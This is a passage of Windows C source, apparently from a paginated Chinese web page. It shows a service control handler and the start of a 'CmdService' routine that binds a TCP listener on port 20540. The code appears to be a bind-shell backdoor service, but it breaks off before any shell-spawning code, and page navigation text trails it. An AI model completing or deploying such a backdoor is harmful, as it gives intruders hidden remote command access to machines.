| >
void WINAPI CmdControl(DWORD dwCode) { switch(dwCode) { case SERVICE_CONTROL_PAUSE: ServiceStatus.dwCurrentState = SERVICE_PAUSED; break;
case SERVICE_CONTROL_CONTINUE: ServiceStatus.dwCurrentState = SERVICE_RUNNING; break;
case SERVICE_CONTROL_STOP: WaitForSingleObject(hMutex,INFINITE); while(lpProcessDataHead!=NULL) { TerminateProcess(lpProcessDataHead->hProcess,1); if(lpProcessDataHead->next!=NULL) { lpProcessDataHead=lpProcessDataHead->next; } else { lpProcessDataHead=NULL; } }
ServiceStatus.dwCurrentState = SERVICE_STOPPED; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0) { OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n"); }
ReleaseMutex(hMutex); CloseHandle(hMutex); return ;
case SERVICE_CONTROL_INTERROGATE: break;
default: break; }
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0) { OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n"); }
return ; }
DWORD WINAPI CmdService(LPVOID lpParam) { WSADATA wsa; SOCKET sServer; SOCKET sClient; HANDLE hThread; struct sockaddr_in sin;
WSAStartup(MAKEWORD(2,2),&wsa); sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(sServer==INVALID_SOCKET) { OutputDebugString("Socket Error !\n"); return -1; } sin.sin_family = AF_INET; sin.sin_port = htons(20540); sin.sin_addr.S_un.S_addr = INADDR_ANY;
if(bind(sServer,(const stru 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> |